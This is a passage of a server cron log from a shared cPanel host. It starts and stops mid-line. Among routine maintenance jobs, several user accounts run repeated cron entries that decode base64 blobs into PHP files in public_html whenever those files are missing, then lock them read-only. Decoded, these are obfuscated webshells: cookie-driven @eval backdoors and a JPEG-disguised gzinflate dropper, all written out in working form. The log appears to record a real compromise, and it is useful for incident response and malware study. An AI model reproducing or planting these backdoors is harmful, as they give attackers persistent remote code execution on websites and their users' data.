IgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:04:01 medusa CROND[27739]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:04:01 medusa CROND[27746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:04:01 medusa CROND[27750]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:05:01 medusa CROND[13654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:05:01 medusa CROND[13715]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:05:01 medusa CROND[13867]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:05:01 medusa CROND[13983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:05:01 medusa CROND[13984]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:05:01 medusa CROND[13985]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:05:01 medusa CROND[13986]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:05:01 medusa CROND[13988]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:05:01 medusa CROND[13990]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:05:01 medusa CROND[13991]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:05:01 medusa CROND[13998]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:05:01 medusa CROND[13992]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:05:01 medusa CROND[14006]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:05:01 medusa CROND[14007]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:05:01 medusa CROND[14009]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:05:01 medusa CROND[14012]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:05:01 medusa CROND[14008]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:05:01 medusa CROND[14017]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 22:05:01 medusa CROND[14024]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:05:01 medusa CROND[14026]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:05:01 medusa CROND[14029]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 22:05:01 medusa CROND[14028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:05:01 medusa CROND[14034]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:05:01 medusa CROND[14002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:06:01 medusa CROND[830]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:06:02 medusa CROND[979]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:06:02 medusa CROND[980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:06:02 medusa CROND[983]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:06:02 medusa CROND[984]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:06:02 medusa CROND[985]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:06:02 medusa CROND[986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:06:02 medusa CROND[987]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:06:02 medusa CROND[994]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:06:02 medusa CROND[996]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:06:02 medusa CROND[997]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:06:02 medusa CROND[999]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gb